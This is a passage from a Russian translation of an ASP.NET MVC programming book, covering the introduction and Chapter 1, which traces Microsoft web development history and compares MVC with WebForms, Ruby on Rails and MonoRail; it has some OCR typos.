Все примеры кода в этой книге написаны на языке С#. Это не потому, что Visual Basic или любой другой язык .NET здесь не подходит, а просто потому, что C# намного более популярен в среде программистов ASP.NET MVC. Не беспокойтесь, если опыт работы с LINQ или .NET 3.5 отсутствует, поскольку основы нового синтаксиса кратко описаны в конце главы 3. Однако если вы — полный новичок в С#, то вам стоит начать с книги Эндрю Троелсена Язык программирования C# 2008 и платформа .КЕЯ 3.5, 4-е издание (ИД “Вильямс”, 2010 г.).
18 Введение
И, наконец, предполагается, что вы имеете достаточный уровень мотивации для повышения квалификации. Надеюсь, вы не из тех, кто просто собирает в кучу старый код, который на первый взгляд работает, а вместо этого стремитесь шлифовать свое мастерство, изучая шаблоны проектирования, цели, принципы и понятия ASP.NET MVC. В этой книге вы часто встретите сравнение доступных архитектурных решений, что поможет создавать максимально качественный, устойчивый, простой и сопровождаемый код из всех возможных.
Как организована эта книга
Эта книга состоит из двух частей.
•	В главах 1-6 объясняются базовые идеи, положенные в основу ASP.NET MVC, и их связь с архитектурой и тестированием современных веб-приложений. Четыре из этих шести глав представляют собой практические руководства по использованию этих идей для построения реального приложения. Первые шесть глав следует читать последовательно.
•	В главах 7-16 предлагается углубленное изложение каждой из основных областей технологии MVC, с объяснением способов получения максимальных преимуществ от каждого из средств. В последних нескольких главах описаны такие важные сопутствующие темы, как безопасность, развертывание и интеграция, а также перенос унаследованного кода WebForms. Эти десять глав можно читать как последовательно, так и обращаться с ними как со справочным руководством по мере необходимости.
Исходный код примеров
Исходный код примеров, рассмотренных в книге, доступен для загрузки на сайте издательства по адресу http://www.williamspublishing.com.
От издательства
Вы, читатель этой книги, и есть главный ее критик и комментатор. Мы ценим ваше мнение и хотим знать, что было сделано нами правильно, что можно было сделать лучше и что еще вы хотели бы увидеть изданным нами. Нам интересно услышать и любые другие замечания, которые вам хотелось бы высказать в наш адрес.
Мы ждем ваших комментариев и надеемся на них. Вы можете прислать нам бумажное или электронное письмо, либо просто посетить наш Web-сервер и оставить свои замечания там. Одним словом, любым удобным для вас способом дайте нам знать, нравится или нет вам эта книга, а также выскажите свое мнение о том, как сделать наши книги более интересными для вас.
Посылая письмо или сообщение, не забудьте указать название книги и ее авторов, а также ваш обратный адрес. Мы внимательно ознакомимся с вашим мнением и обязательно учтем его при отборе и подготовке к изданию последующих книг.
Наши координаты:
E-mail:	info@williamspublishing.com
WWW:	http: //www.williamspublishing.com
Информация для писем из:
России: 127055, г. Москва, ул. Лесная, д. 43, стр. 1
Украины: 03150, Киев, а/я 152
ЧАСТЬ
Введение в ASP.NET MVC
Новая платформа ASP.NET MVC обеспечила радикальный сдвиг в разработке веб-приложений на платформе Microsoft. В ней делается упор на ясную архитектуру, шаблоны проектирования и тестируемость. Первая часть книги призвана помочь разобраться в фундаментальных идеях, положенных в основу ASP.NET MVC, и ознакомиться с практическим применением этой платформы.
ГЛАВА 1
Основная идея
ASP.NET MVC — это платформа для веб-разработки от Microsoft, которая сочетает в себе эффективность и аккуратность архитектуры “модель-представление-кон-троллер” (model-view-controller — MVC), новейшие идеи и приемы гибкой разработки, а также все лучшее из существующей платформы ASP.NET. Это полная альтернатива традиционной технике ASP.NET WebForms, предлагающая существенные преимущества для всех, кроме самых тривиальных проектов веб-разработки.
Краткая история веб-разработки
Чтобы понять отличительные аспекты и цели проектирования ASP.NET MVC, стоит хотя бы кратко напомнить, как шло развитие веб-разработки до сих пор. Совершенствование всех платформ веб-разработки Microsoft, которое мы наблюдали в течение последних лет, сопровождалось постоянным ростом мощности и (к сожалению), сложности. Как показано в табл. 1.1, каждая новая платформа устраняла специфические недостатки своей предшественницы.
Таблица 1.1. Хронология технологий веб-разработки Microsoft			
Период времени	Технология	Достоинства	Недостатки
Юрский период	Common Gateway Interface (CGI)'	Простота Гибкость Единственный выбор на то время	Выполняется вне веб-сервера, поэтому является ресурсоемкой (порождает по одному отдельному процессу операционной системы на каждый запрос) Является низкоуровневой
Бронзовый век	Microsoft Internet Database Connector (ЮС)	Выполняется внутри веб-сервера	Является лишь оболочкой для запросов SQL и шаблонов для форматирования результирующего набора
1996 г.	Active Server Pages (ASP)	Общее назначение	Интерпретируется во время выполнения Приводит к появлению “спагетти-кода”
2002/2003 гг.	ASP.NET 1.0/1.1	Компилируемый пользовательский интерфейс с под-держкой состояния Обширная инфраструктура Стимулирует объектно-ориентированное программирование	Требует большой ширины пропускания Порождает корявую HTML-разметку Не является тестируемой
2005 г.	ASP.NET 2.0		
2007 г.	ASP.NET AJAX		
2008 г.	ASP.NET 3.5		
* CGI — стандартное средство подключения веб-сервера к произвольной исполняемой программе, которая возвращает динамическое содержимое. Спецификация поддерживается NCSA (National Center for Supercomputing Applications — Национальный центром приложений для суперкомпьютеров).
Глава 1. Основная идея 21
Аналогично ASP.NET MVC устраняет специфические недостатки традиционной платформы ASP.NET WebForms, но на этот в направлении упрощения.
Традиционная платформа ASP.NET
На момент своего появления ASP.NET стала огромным шагом вперед в разработке, причем не только благодаря использованию совершенно новой многоязыковой платформы управляемого кода .NET (которая и сама по себе была значительной вехой), но и потому, что ее предназначением было заполнение пробела между основанной на состоянии объектно-ориентированной разработкой Windows Forms и не поддерживающей состояние, ориентированной на язык HTML веб-разработкой.
Microsoft попыталась сокрыть как протокол HTTP (с его неизбежным отсутствием состояния), так и язык HTML (который на тот момент был незнаком многим разработчикам), моделируя пользовательский интерфейс, как находящуюся на сервере иерархию объектов — элементов управления. Каждый такой элемент управления отслеживает свое собственное состояние между запросами (с помощью средства ViewState), по мере необходимости автоматически визуализируя себя в виде HTML-разметки, и автоматически подключая события клиентской стороны (например, щелчки на кнопках) с соответствующим кодом их обработки на стороне сервера. Фактически WebForms — это гигантский уровень абстракции, предназначенный для воссоздания классического, управляемого событиями графического пользовательского интерфейса в веб-среде.
Отныне разработчикам не нужно иметь дело с сериями независимых запросов и ответов HTTP, как это делалось в старых технологиях; теперь можно думать в терминах пользовательского интерфейса, сохраняющего свое состояние. Мы можем “забыть” о веб-среде и строить пользовательские интерфейсы в интерактивном редакторе с функциями перетаскивания, предполагая, что все это будет происходить на сервере.
Недостатки традиционной платформы ASP.NET
Технология ASP.NET была замечательной и поначалу казалась прямой дорогой в светлое будущее, но, разумеется, в реальности все было несколько сложнее. За годы использования WebForms проявились слабые стороны.
•	ViewState. Реализованный механизм поддержки состояния между запросами (ViewState) часто требовал передачи огромных блоков данных между клиентом и сервером. В реальных приложениях этот объем нередко достигал сотен килобайт, которые ходили вперед и назад с каждым запросом, вызывая раздражение у посетителей сайтов из-за длительного ожидания реакции на каждый щелчок на кнопке или попытку перехода на следующую страницу в большой таблице. В той же мере страдала от этого1 и платформа ASP.NET AJAX, даже несмотря на то, что посредством Ajax планировалось как раз и решить проблему объемного трафика, связанный с полным обновлением страницы.
•	Жизненный цикл страницы. Механизм подключения событий клиентской стороны к коду обработчиков событий на стороне сервера, как часть жизненного цикла страницы, мог быть чрезвычайно сложным и хрупким. Очень немногим разработчикам удавалось успешно манипулировать иерархией элементов управления во время выполнения, избегая ошибок ViewState или не сталкиваясь с ситуацией, когда некоторые обработчики событий совершенно загадочным образом отказывались работать.
1 При каждом асинхронном запросе должны были отправляться данные ViewState для полной страницы.
22 Часть I. Введение в ASP.NET MVC
•	Ограниченный контроль над HTML-разметкой. Серверные элементы управления визуализируют себя в виде HTML-разметки, но не обязательно в виде того кода HTML, который вам нужен. Получаемый в результате код HTML нередко не отвечает требованиям веб-стандартов и не использует CSS, а система серверных элементов управления генерирует непредсказуемые и сложные значения идентификаторов, с которыми трудно работать в JavaScript-коде.
•	Ложное чувство разделения ответственности. Модель отделенного кода (code-behind) ASP.NET предоставляет средства вынесения прикладного кода из HTML-разметки в файл отделенного кода. Это отвечает широко принятому принципу разделения логики и представления, но на самом деле разработчикам приходилось смешивать код представления (например, манипуляцию деревом элементов управления серверной стороны) с логикой приложения (например, манипуляцию информацией из базы данных) в одном монстроподобных классах отделенного кода. Без более четкого разделения ответственности конечный результат зачастую получался хрупким и непредсказуемым.
•	Невозможность тестирования. Когда проектировщики ASP.NET создавали свою платформу, они не могли предвидеть, что автоматизированное тестирование станет неотъемлемой частью современной разработки программного обеспечения. Не удивительно, что спроектированная ими архитектура совершенно не приспособлена для автоматизированного тестирования.
Платформа ASP.NET двигалась вперед. В версию 2.0 был добавлен набор стандартных компонентов приложений, существенно сокративших объем кода, который нужно было писать самостоятельно. Выход Ajax в 2007 г. стал ответом Microsoft на “сенсацию дня” — Web2.0/Ajax, поддерживающую развитую интерактивность клиентской стороны и при этом упрощающую разработчику жизнь2. Самая последняя версия 3.5 включает менее значительные дополнения; в ней появилась поддержка средств .NET 3.5 и набора новых элементов управления. Новое средство динамических данных ASP.NET (Dynamic Data) позволяет автоматически генерировать простые экраны просмотра/редактирова-ния базы данных. В очередной версии ASP.NET 4.0, которая должна поставляться вместе с Visual Studio 2010, разработчикам будет предложена возможность явного управления идентификаторами определенных HTML-элементов, что должно сократить проблему появления непредсказуемых и сложных значений для идентификаторов.
Веб-разработка сегодня
За пределами Microsoft со времен появления WebForms технологии веб-разработки быстро развивались в нескольких разных направлениях. Помимо уже упомянутого Ajax произошло и несколько других прорывов.
Веб-стандарты и REST
Движение за соблюдение веб-стандартов в последние годы не утихало, а наоборот — усиливалось. Веб-сайты просматриваются большим разнообразием устройств и браузеров, чем когда-либо ранее, и веб-стандарты (HTML, CSS, JavaScript и т.п.) позволяют надеяться на единообразное представление информации повсеместно (вплоть до подключенных к Интернету холодильников).
2 По иронии судьбы объект XMLHttpRequest — основу технологии Ajax — изобрели именно в Microsoft, для поддержки Outlook Web Access. Однако почему-то его потенциал не был востребован до тех пор, пока это не сделали сотни других компаний.
Глава 1. Основная идея 23
Современные веб-платформы не могут игнорировать потребностей бизнеса и энтузиазма разработчиков, нацеленных на соблюдение веб-стандартов.
В это же время невероятную популярность в качестве архитектуры взаимодействия приложений через HTTP завоевала REST3; особенно это касается информационной смеси мира Web 2.0. Поскольку теперь доступны развитые клиенты Ajax и Silverlight, различия между веб-службами и веб-приложениями постепенно размываются, и в таких сценариях REST превалирует над SOAP. Архитектура REST требует такого подхода к обработке HTTP и URL, который в традиционном ASP.NET не поддерживается.
Гибкая разработка и разработка, управляемая тестами
За последнее десятилетие шаг вперед сделала не только веб-разработка — разработка программного обеспечения в целом также не стояла на месте; здесь произошел сдвиг в сторону гибких (agile) методологий. Для разных людей “гибкость” несет в себе множество различных значений, но в основном оно касается организации проектов по разработке программного обеспечения в форме адаптируемых процессов исследования, противостояния затруднениям, вызванным чрезмерной бюрократизацией, и ограниченным опережающим планированием. Энтузиазму, сопровождающему гибкие методологии, сопутствует энтузиазм применения определенных приемов и инструментов разработки — обычно с открытым исходным кодом, — который стимулирует и помогает их применению.
Очевидным примером является разработка, управляемая тестами (test-driven development — TDD) — когда разработчики повышают собственную способность реагировать на изменения без нарушения стабильности своей кодовой базы, потому что каждое известное и желаемое поведение уже зафиксировано в десятках, сотнях или тысячах автоматизированных тестов, которые можно прогнать в любой момент. Недостатка в инструментах .NET, поддерживающих автоматизированное тестирование, нет, но они могут применяться эффективно лишь к программному обеспечению, которое спроектировано в виде набора четко отделенных друг от друга независимых модулей. К сожалению, типичное приложение WebForms подобным образом описать не получится.
Сообщество независимых поставщиков программного обеспечения (independent software vendor — 1SV) вместе с сообществом открытого кода разработали множество высококачественных каркасов для модульного тестирования (NUnit, MBUnit), имитации (Rhino Mocks, Moq), контейнеров инверсии управления (Castle Windsor, Spring.NET), серверов непрерывной интеграции (Cruise Control, TeamCity), средств объектно-реляционного отображения (NHibemate, Subsonic) и т.п. Сторонники этих инструментов и приемов даже выработали общий язык, издают публикации и проводят конференции под общей маркой ALT.NET. Вследствие своего монолитного дизайна традиционная технология ASRNET WebForms не слишком подходит для таких инструментов и приемов, поэтому со стороны этой шумной группы экспертов и лидеров индустрии ASP.NET WebForms уважением не пользуется.
3 Архитектура REST (Representational State Transfer — передача состояния представления) описывает приложение в терминах ресурсов (URI), представляющих сущности реального мира, и стандартных операций (методов HTTP), представляющих доступные операции над этими ресурсами. Например, можно выполнить операцию PUT для нового ресурса http; / / www.example.com/Products/Lawnmower или операцию DELETE в отношении существующего ресурса http: //www. example. com/Customers/Arnold-Smith.
24 Часть I. Введение в ASP.NET MVC
Ruby on Rails
В 2004 г. Ruby on Ralls был тихим, незаметным продуктом с открытым исходным кодом от неизвестного игрока. Но неожиданно он достиг славы, изменив правила вебразработки. Сам по себе он не представлял особо революционной технологии, а просто взял существующие ингредиенты и приготовил из них чудесный, волшебный, великолепный способ пристыдить существующие платформы.
Применение архитектуры MVC (известного шаблона проектирования, в последнее время заново "открытого” многими веб-каркасами), работа в гармонии с протоколом HTTP, внедрение соглашений вместо обязательного конфигурирования и интеграция инструмента объектно-реляционного отображения (ORM) в ядро позволило приложениям Rails завоевать популярность без особых усилий или затрат. Это было похоже на открытие того, каковой должна быть веб-разработка: мы вдруг осознали, что все эти годы боролись с нашими инструментами, и вот — война окончена.
Продукт Rails доказал, что соблюдение веб-стандартов и соответствие REST не обязательно должно быть трудным. Он также продемонстрировал, что гибкая и управляемая тестами разработка внедряется легко, если сам каркас спроектирован для ее поддержки. Остальной мир веб-разработки немедленно подхватил идею.
Ключевые преимущества ASP.NET MVC
Громадные корпорации вроде Microsoft могут подолгу почивать на лаврах, но вечно это продолжаться не может. Платформа ASP.NET имела огромный коммерческий успех, но как было сказано, остальная часть мира веб-разработки не стояла на месте, и несмотря на то, что Microsoft продолжала распространять WebForms, ее дизайн выглядел все более устаревающим.
В октябре 2007 г. на самой первой конференции ALT.NET в Остине, шт. Техас, вице-президент Microsoft Скотт Гатри (Scott Guthrie) продемонстрировал совершенно новую платформу веб-разработки MVC, построенную на базе ASP.NET, четко спроектированную как прямой ответ на звучавшую ранее критику. Именно она позволила преодолеть ограничения ASP.NET и вновь вывести платформу Microsoft на передний край.
Архитектура “модель-представление-контроллер”
Благодаря адаптации к архитектуре MVC, платформа ASP.NET MVC предлагает значительно улучшенное разделение ответственности. Шаблон проектирования MVC не нов — его истоки восходят еще к 1978 г. и проекту Smalltalk, разработанному в Xerox PARC. Но именно сегодня он завоевал невероятную популярность в качестве архитектуры веб-приложений. Причины этого, скорее всего, состояли в следующем.
•	Взаимодействие пользователя с приложением MVC естественным образом следует циклу: пользователь предпринимает действие, в ответ на которое приложение изменяет свою модель данных и доставляет измененное представление пользователю. Затем цикл повторяется. Это очень удобно укладывается в схему веб-приложений, состоящих из последовательностей запросов и ответов НТ ГР.
•	Веб-приложения, нуждающиеся в комбинации нескольких технологий (например, баз данных, HTML и исполняемого кода), обычно разделяются на ряд уровней, и получающийся в результате шаблон естественным образом отображается на концепцию MVC.
Глава 1. Основная идея 25
В ASP.NET MVC реализован современный вариант MVC, который особенно подходит для веб-приложений. В главе 3 можно найти дополнительные сведения о теории и практике, связанной с этой архитектурой.
Благодаря своему дизайну. ASP.NET MVC может напрямую конкурировать с Ruby on Rails и подобными платформами, привнося этот стиль разработки в основной поток мира .NET, и опираясь на опыт и практические приемы, открытые разработчиками на других платформах, во многом даже опережая все то, что может предложить Ruby.
Расширяемость
Внутренние компоненты настольного компьютера являются независимыми частями, которые взаимодействуют только по стандартным, публично документированным интерфейсам. Это позволяет легко заменять практически любой компонент — скажем, плату графического адаптера или жесткий диск — аналогичным, но от другого производителя, имея при этом гарантию, что он подойдет, и будет нормально работать. Точно так же и платформа MVC построена в виде серии независимых компонентов — реализующих интерфейс .NET или построенных на основе абстрактного базового класса, — поэтому можно легко заменить систему маршрутизации, механизм представлений, фабрику контроллеров или прочие компоненты платформы другими, с вашей оригинальной реализацией. Фактически разработчики платформы в отношении каждого компонента MVC Framework предлагают три варианта.
1.	Использование стандартной (по умолчанию) реализации компонента в том виде, как она есть (этого вполне достаточно для большинства приложений).
2.	Порождение подкласса от стандартной реализации с целью корректировки существующего поведения.
3.	Полная замена компонента новой реализацией интерфейса или абстрактного базового класса.
Это похоже на модель поставщиков (Provider) из ASP.NET 2.0, но пускающую корни намного глубже — прямо в сердце платформы MVC. Различные компоненты вместе с причинами возможной их корректировки или замены будут рассматриваться, начиная с главы 7.
Тестируемость
Естественное разнесение различных сущностей приложения по разным, независимым друг от друга частям программного обеспечения, которое поддерживает архитектура MVC, позволяет уже изначально строить сопровождаемые и тестируемые приложения.
Однако проектировщики ASP.NET MVC на этом не остановились. Для каждого фрагмента компонентно-ориентированного дизайна платформы они обеспечили идеальную структурированность для автоматизированного тестирования. В результате появилась возможность писать ясные и простые модульные тесты для каждого контроллера и действия разрабатываемого приложения, используя фиктивные или имитирующие реализации компонентов каркаса для эмуляции любого сценария. В дизайне обеспечен обход ограничений современных инструментов тестирования и имитации. В среду Visual Studio добавлен набор мастеров для создания стартовых тестовых проектов (интегрированных с такими инструментами модульного тестирования с открытым кодом, как NUnit и MBUnit, а также Microsoft MSTest), которые помогают тем, кому писать модульные тесты ранее не доводилось. Словом, добро пожаловать в мир сопровождаемого кода!
26 Часть I. Введение в ASP.NET MVC
На протяжении всей книги будут приводиться примеры того, как следует писать автоматизированные тесты с использованием различных стратегий тестирования и имитации.
Жесткий контроль над HTML
В MVC учтена важность генерации ясного и соответствующего стандартам кода разметки. Разумеется, встроенные вспомогательные методы HTML генерируют XHTML-совместимый вывод, однако необходимо принять существенный сдвиг в образе мышления. Вместо громадного объема трудночитаемого HTML-кода, представляющего простые элементы пользовательского интерфейса, наподобие списков, таблиц или строковых литералов, архитектура MVC стимулирует создание простых и элегантных, стилизованных с помощью CSS компонентов. (Вдобавок, массивная поддержка рефакторинга CSS в среде Visual Studio 2008, наконец, обеспечила возможность отслеживания и повторного использования правил CSS, причем независимо от размеров проекта.)
Реализованный в ASP.NET MVC подход к разметке в стиле “специальные требования отсутствуют” облегчает использование лучших библиотек пользовательского интерфейса с открытым кодом, таких как JQuery или Yahoo UI Library; это необходимо для работы с готовыми элементами пользовательского интерфейса, подобными календарям или каскадным меню. В главе 12 будет продемонстрировано немало подобных приемов, позволяющих с минимальными усилиями получить развитую и не зависящую от браузера интерактивность. Разработчики JavaScript будут приятно удивлены, узнав, что популярная библиотека j Query не только эффективно поддерживается, но даже поставляется как встроенная часть шаблона проекта ASP.NET MVC по умолчанию.
Сгенерированные ASP.NET MVC страницы не содержат никаких данных ViewState, поэтому они могут быть на сотни килобайт меньше типичных страниц ASP.NET WebForms. Несмотря на современные скоростные широкополосные соединения, такая экономия трафика невероятно повышает комфорт конечного пользователя.
Мощная новая система маршрутизации
Современные веб-разработчики осознают важность использования чистых URL-адресов. Малопонятные URL-адреса вроде /App_v2/User/Page.aspx?action=show%20 prop&prop_id=82742 вряд ли полезны, авот /to-rent/chicago/2303-silver-street выглядит намного профессиональнее. Почему это важно? Во-первых, механизмы поиска придают ключевым словам, содержащимся в URL, больший вес. Поиск по фрагменту “rent in Chicago” (жилье в Чикаго) с большей вероятность обнаружит последний из приведенных URL, а не первый. Во-вторых, многие веб-браузеры достаточно сообразительны, чтобы понять URL, и предоставляют возможности навигации во время их ввода в поле адреса. В-третьих, когда кто-то чувствует, что может понять URL, он с большей вероятностью обратится к нему (будучи уверенным, что его персональная информация останется в безопасности) или поделится им с друзьями (например, продиктовав по телефону). В-четвертых, в чистых URL не раскрываются лишние технические детали, структура каталогов и имен файлов приложения (и вы вольны изменять лежащую в основе сайта реализацию, не нарушая работоспособности входящих ссылок).
На ранних платформах чистые URL-адреса реализовать было трудно. ASP.NET MVC предлагает совершенно новое средство System.Web.Routing, по умолчанию обеспечивающее чистыми URL-адресами. Это предоставляет полный контроль над схемой URL и ее отображением на контроллеры и действия — без необходимости соблюдения какого-то предопределенного шаблона. Это также означает возможность простого определения современной схемы URL в стиле REST, если есть к тому склонность.
Глава 1. Основная идея 27
За полным описанием маршрутизации и полезными советами относительно URL обращайтесь в главу 8.
Построение на основе лучших частей платформы ASP.NET
Существующие платформы Microsoft предлагают зрелый, проверенный набор компонентов и средств, которые могут значительно облегчить вашу ношу и расширить свободу. Первое, и наиболее очевидное — поскольку ASP.NET MVC базируется на платформе .NET 3.5, вы вольны писать код на любом языке .NET4. При этом доступны не только средства, с которыми работает MVC, но и все богатые возможности библиотеки базовых классов .NET, а также широкого разнообразия библиотек .NET от независимых разработчиков.
Готовые средства платформы ASP.NET, такие как мастер-страницы, аутентификация с помощью форм, членство, роли, профили и глобализация, могут существенно сократить объем кода, который придется разрабатывать и поддерживать в любом вебприложении, и в проекте MVC это столь же эффективно, как и в классическом проекте WebForms. В приложении ASP.NET MVC могут повторно использоваться некоторые серверные элементы управления WebForms, а также специальные элементы управления из прежних проектов ASP.NET (если только они не зависят от специфической для WebForms нотации — вроде ViewState).
Вопросы разработки и развертывания также решены. Платформа ASP.NET хорошо интегрирована в Visual Studio — ведущую коммерческую IDE-среду от Microsoft. Вдобавок эта “родная” технология веб-программирования поддерживается веб-сервером IIS, входящим в состав операционных систем Windows ХР, Vista, 7 и Server. В версии IIS 7.0 появился набор расширенных средств для выполнения управляемого кода .NET как части конвейера обработки запросов; это предоставляет приложениям ASP.NET специальные возможности. Построенные на базе ядра платформы ASP.NET, приложения MVC разделяют все ее преимущества.
В главе 14 объясняется все, что следует знать о развертывании приложений ASP.NET MVC на сервере IIS в среде Windows Server 2003 и Windows Server 2008. В главе 16 демонстрируются основные средства платформы ASP.NET, которые, скорее всего, будут использоваться в приложениях MVC, показана разница в применении приложений MVC и WebForms, а также приведен ряд советов и подсказок по преодолению проблем совместимости. Даже эксперты в ASP.NET могут обнаружить там пару полезных компонентов, которыми не пользовались ранее.
Языковые нововведения в .NET 3.5
С момента своего появления в 2002 г. платформа Microsoft .NET значительно эволюционировала, поддерживая и даже определяя многие искусные аспекты современного программирования. Наиболее сушественным из последних новшеств является LINQ (Language Integrated Query — язык интегрированных запросов), а также целое множество дополнительных расширений языка С#, таких как лямбда-выражения и анонимные типы. Платформа ASP.NET MVC спроектирована с учетом этих нововведений, поэтому многие из методов ее API-интерфейса и шаблонов кодирования следуют более ясной и выразительной композиции, чем это было возможно в ранних реализациях платформы.
4 Можно даже строить приложения ASP.NET MVC на IronRuby или IronPython, хотя большинство заказчиков на данный момент отдают предпочтение C# и VB.NET. В этой книге внимание сосредоточено исключительно на С#.
28 Часть I. Введение в ASP.NET MVC
ASP.NET MVC — продукт с открытым кодом
Столкнувшись с конкуренцией со стороны альтернативных продуктов с открытым кодом, в Microsoft решились на храбрый шаг в отношении ASP.NET MVC. В отличие от многих прежних платформ веб-разработки Microsoft, оригинальный исходный код ASP.NET MVC доступен для свободной загрузки. После этого его можно модифицировать и построить собственную версию. Это неоценимо в ситуациях, когда во время отладки необходимо пройтись по коду какого-то системного компонента (и даже читать оригинальные комментарии программиста), либо при построении расширенного компонента посмотреть, какие доступны возможности разработки, либо просто разобраться, как в действительности функционируют встроенные компоненты.
Упомянутая возможность также полезна и тогда, когда не устраивает работа того или иного компонента, когда требуется найти ошибку или когда необходимо получить доступ к тому, что с помощью иных способов не доступно. Однако при этом необходимо отслеживать все внесенные изменения и повторять их после перехода на более новую версию каркаса. Здесь на помощь придет какая-нибудь система управления версиями.
ASP.NET MVC лицензируется в соответствии с условиями Ms-PL (www. opensource . org/licenses/ms-pl.html) —утвержденной OSI лицензии открытого кода. Это значит, что исходный код можно изменять, развертывать и даже распространять публично в виде производного проекта. Следует отметить, что на данный момент Microsoft не принимает заплаты в отношении центральной, официальной сборки. Microsoft только поставляет код, созданный собственными командами разработчиков и контроля качества.
Исходный код ASP.NET MVC доступен для загрузки по адресу http: //tinyurl. сот/ cs313n.
Пользователи ASP.NET MVC
Как и с любой другой технологией, простой факт ее существования еще не является основанием для ее обязательного внедрения (несмотря на естественное желание некоторых разработчиков попробовать что-то новое). Давайте сравним платформу MVC с наиболее очевидными альтернативами.
Сравнение с ASP.NET WebForms
Вы наверняка уже слышали о недостатках и ограничениях, присущих традиционной технологии ASP.NET WebForms, и о том, что ASP.NET MVC решает многие из этих проблем. Тем не менее, это не значит, что WebForms можно списывать со счетов — в Microsoft не перестают напоминать, что эти две платформы идут рука об руку, поддерживаются в равной мере, и обе являются субъектами активной, непрерывной разработки. Во многих отношениях выбор между ними двумя является вопросом философии разработки, которая вам ближе.
•	Философия WebForms исходит из представления, что пользовательский интерфейс обладает состоянием. Для этого поверх HTTP и HTML добавляется изощренный уровень абстракции, а для создания эффекта сохраненного состояния используются концепции ViewState и обратных отправок. Такой подход хорош для визуальной разработки в стиле Windows Forms, когда на рабочую поверхность помещаются виджеты (графические элементы) пользовательского интерфейса, а их обработчики событий заполняются соответствующим кодом.
Глава 1. Основная идея 29
•	Философия MVC подчеркивает естественную особенность протокола HTTP, связанную с отсутствием поддержки состояния, и вместо того, чтобы преодолевать, приспосабливается к ней. Хотя это требует действительного понимания работы веб-приложений, но одновременно предоставляет простой, мощный и современный подход к написанию веб-приложений с аккуратным кодом, который легко тестировать и сопровождать, кодом, свободным от причудливых сложностей и болезненных ограничений.
Бывают определенные случаи, когда WebForms оказывается, по крайней мере, не хуже, а может быть, и лучше, чем MVC. Очевидный пример — небольшие, ориентированные на внутреннюю корпоративную сеть, приложения, которые в основном напрямую связывают сетки данных (grid) с таблицами базы данных либо проводят пользователей по ряду страниц мастера (wizard). Поскольку при этом не нужно беспокоиться о проблемах пропускной способности, связанных с передачей ViewState, об оптимизации поисковых механизмов, о тестируемости и долгосрочном сопровождении, достоинства разработки методом перетаскивания перевешивают ее недостатки.
С другой стороны, если вы пишете приложение для публичного доступа через Интернет или крупные внутрикорпоративные приложения (требующие свыше нескольких человеко-месяцев работы); если вы нацелены на высокую скорость загрузки и совместимость с множеством браузеров; если требуется построить высококачественный код на основе продуманной архитектуры, подходящий для автоматизированного тестирования, то в таких ситуациях MVC обладает существенными преимуществами.
Переход от WebForms к MVC
В одном и том же приложении допускается сосуществование ASP.NET и MVC. Это значит, что перенос на платформу MVC разрабатываемого приложения ASP.NET можно выполнять постепенно, что особенно важно, если оно уже разделено на уровни в соответствии с моделью предметной области или если бизнес-логика отделена от страниц WebForms. В некоторых случаях приложение можно проектировать как гибрид двух технологий. Все эти вопросы рассматриваются в главе 16.
Сравнение с Ruby on Rails
Rails превратился в своего рода образец, с которым следует сравнивать другие вебплатформы. Суровая реальность состоит в том, что разработчики и компании, работающие в мире Microsoft .NET, сочтут более простой в адаптации и изучении платформу ASP.NET MVC, в то время как компании, работающие на Python или Ruby в Linux и Mac OS X, отдадут предпочтение Rails. Маловероятно, что понадобится выполнять переход от Rails на ASP.NET MVC или наоборот. Между этими двумя технологиями существуют значительные различия в области применения.
Rails — это полностью целостная платформа разработки, в том смысле, что она охватывает весь стек — от управления исходными базами данных (миграциями) до объектно-реляционного отображения (ORM), обработки запросов с помощью контроллеров и действий, а также построения автоматизированных тестов. В общем, Rails представляет собой самодостаточную систему быстрой разработки приложений, ориентированных на данные.
В противоположность этому, платформа ASP.NET MVC сосредоточена исключительно на задаче обработки веб-запросов в стиле MVC с помощью контроллеров и действий. Она не имеет ни встроенного инструмента ORM, ни встроенного инструмента модульного тестирования, ни системы управления миграциями баз данных — все это, а также многое другое предлагает платформа .NET, и вам останется только сделать выбор.
30 Часть I. Введение в ASP.NET MVC
Например, в качестве инструмента ORM можно использовать NHibemate, Microsoft LINQ to SQL, Subsonic или любое из других зрелых решений. В этом и состоит роскошь платформы .NET, хотя это также означает, что упомянутые компоненты не могут быть настолько тесно интегрированы с ASP.NET MVC, как их эквиваленты в Rails.
Сравнение с MonoRail
Вплоть до настоящего момента ведущей платформой веб-разработки на основе .NET MVC была система Castle MonoRail — составная часть проекта Castle с открытым исходным кодом, разрабатываемого с 2003 г. Если вы имели дело с MonoRail, то ASP.NET MVC покажется знакомым; обе технологии основаны на ядре платформы ASP.NET, и обе в значительной мере вдохновлены Ruby on Rails. Они используют одинаковую терминологию во многих местах (основатели MonoRail участвовали в процессе проектирования ASP.NET MVC), и привлекают внимание одних и тех же разработчиков. Тем не менее, между ними есть и различия.
•	MonoRail может работать на платформе ASP.NET 2.0, в то время как ASP.NET MVC требует версии ASP.NET 3.5.
•	В отличие от ASP.NET MVC, в MonoRail предпочтение отдается одной конкретной реализации ORM. В случае использования Castle ActiveRecord (основанной на NHibemate), MonoRail может генерировать базовый код для просмотра и ввода данных автоматически.
•	MonoRail очень похожа на Ruby on Rails. В дополнении к использованию Rails-подобной терминологии (групповая запись и чтение, восстановление данных, компоновки и т.п.) ужесточается значение проектирования по соглашениям. В приложениям MonoRail часто используется одна и та же стандартная схема URL (/контроллер/действие).
•	В MonoRail нет прямого аналога системы маршрутизации ASP.NET MVC. Единственный способ принять нестандартные шаблоны входящих URL состоит в применении системы перезаписи URL. но в таком случае не существует простого пути генерации исходящих URL. (Вполне вероятно, что пользователи MonoRail найдут способ применения System.Web.Routing и сохранят преимущества.)
Обе платформы обладают достоинствами и недостатками, но ASP.NET MVC имеет одно огромное преимущество, которое гарантирует его широкое признание: марку Microsoft. Нравится это или нет, но наличие марки Microsoft на самом деле имеет значение во многих реальных ситуациях, когда вы пытаетесь склонить клиента или босса к тому, чтобы принять новую технологию. Когда слон передвигается, вокруг него вьются тучи насекомых: тысячи разработчиков, блогеров и независимых поставщиков компонентов (да, и авторов!) стремятся занять лучшие места в новом мире ASP.NET MVC. Это еще более облегчает поддержку и применение инструментов, а также расширяет круг квалифицированных специалистов. Как ни печально, но все это вряд ли кыда-нибудь достанется MonoRail.
Резюме
